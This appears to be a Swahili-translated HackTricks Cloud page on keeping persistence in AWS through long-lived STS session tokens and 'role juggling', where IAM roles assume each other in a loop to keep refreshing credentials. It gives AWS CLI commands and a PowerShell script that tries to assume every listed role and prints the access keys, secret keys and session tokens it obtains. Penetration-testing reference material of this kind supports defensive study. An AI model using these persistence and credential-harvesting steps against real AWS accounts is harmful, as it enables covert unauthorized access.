AWS - STS Persistence
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STS
Kwa habari zaidi tembelea:
pageAWS - STS EnumIshara ya jukumu la token
Vyeti vya muda haviwezi kuorodheshwa, hivyo kudumisha cheti cha muda ni njia ya kudumisha uthabiti.
aws sts get-session-token --duration-seconds 129600
# Pamoja na MFA
aws sts get-session-token \
--serial-number <jina-la-kifaa-cha-mfa> \
--token-code <kodi-kutoka-kwa-token>
# Jina la kifaa cha vifaa vya elektroniki kawaida ni nambari kutoka nyuma ya kifaa, kama vile GAHT12345678
# Jina la kifaa cha SMS ni ARN katika AWS, kama vile arn:aws:iam::123456789012:sms-mfa/username
# Jina la kifaa la kielektroniki ni ARN katika AWS, kama vile arn:aws:iam::123456789012:mfa/username
Ujanja wa Mnyororo wa Majukumu
Ujanja wa majukumu ni kipengele kinachotambuliwa na AWS, mara nyingi hutumiwa kudumisha uthabiti wa kimya. Inahusisha uwezo wa kudai jukumu ambalo kisha linadai jingine, labda kurudi kwenye jukumu la awali kwa njia ya mzunguko. Kila wakati jukumu linadaiwa, uga wa ukomo wa vyeti unarejeshwa. Kwa hivyo, ikiwa majukumu mawili yameboreshwa kudai wao kwa wao, hii inaruhusu upya wa kudumu wa vyeti.
Unaweza kutumia zana hii kuendelea na mnyororo wa majukumu:
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
optional arguments:
-h, --help show this help message and exit
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
Msimbo wa kutekeleza Role Juggling kutoka PowerShell
```powershell # PowerShell script to check for role juggling possibilities using AWS CLI
Check for AWS CLI installation
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) { Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." exit }
Function to list IAM roles
function List-IAMRoles { aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json }
Initialize error count
$errorCount = 0
List all roles
$roles = List-IAMRoles | ConvertFrom-Json
Attempt to assume each role
foreach ($role in $roles) { $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) try { $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json if ($credentials) { Write-Host "Successfully assumed role: $($role.RoleName)" Write-Host "Access Key: $($credentials.AccessKeyId)" Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" Write-Host "Session Token: $($credentials.SessionToken)" Write-Host "Expiration: $($credentials.Expiration)"
Set temporary credentials to assume the next role
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey $env:AWS_SESSION_TOKEN = $credentials.SessionToken
Try to assume another role using the temporary credentials
foreach ($nextRole in $roles) { if ($nextRole.Arn -ne $role.Arn) { $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) try { $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json if ($nextCredentials) { Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" Write-Host "Access Key: $($nextCredentials.AccessKeyId)" Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" Write-Host "Session Token: $($nextCredentials.SessionToken)" Write-Host "Expiration: $($nextCredentials.Expiration)" } } catch { $errorCount++ } } }
Reset environment variables
Remove-Item Env:\AWS_ACCESS_KEY_ID Remove-Item Env:\AWS_SECRET_ACCESS_KEY Remove-Item Env:\AWS_SESSION_TOKEN } else { $errorCount++ } } catch { $errorCount++ } }
Output the number of errors if any
if ($errorCount -gt 0) { Write-Host "$errorCount error(s) occurred during role assumption attempts." } else { Write-Host "No errors occurred. All roles checked successfully." }
Write-Host "Role juggling check complete."
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<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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